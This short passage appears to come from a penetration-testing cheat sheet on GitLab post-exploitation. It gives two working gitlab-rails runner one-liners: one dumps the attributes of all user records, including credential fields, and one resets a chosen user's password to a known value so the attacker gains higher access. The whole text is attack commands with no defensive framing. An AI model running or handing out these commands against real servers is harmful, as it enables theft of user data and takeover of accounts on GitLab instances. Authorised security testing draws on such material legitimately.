It can help to gain a higher permission access level.
Dump the Database:
gitlab-rails runner 'User.where.not(username: "peasssssssss").each { |u| pp u.attributes }'
Change Passwords:
gitlab-rails runner 'user = User.find_by(username: "dude"); user.password = "adminpassword"; user.password_confirmation = "adminpassword"; user.save!'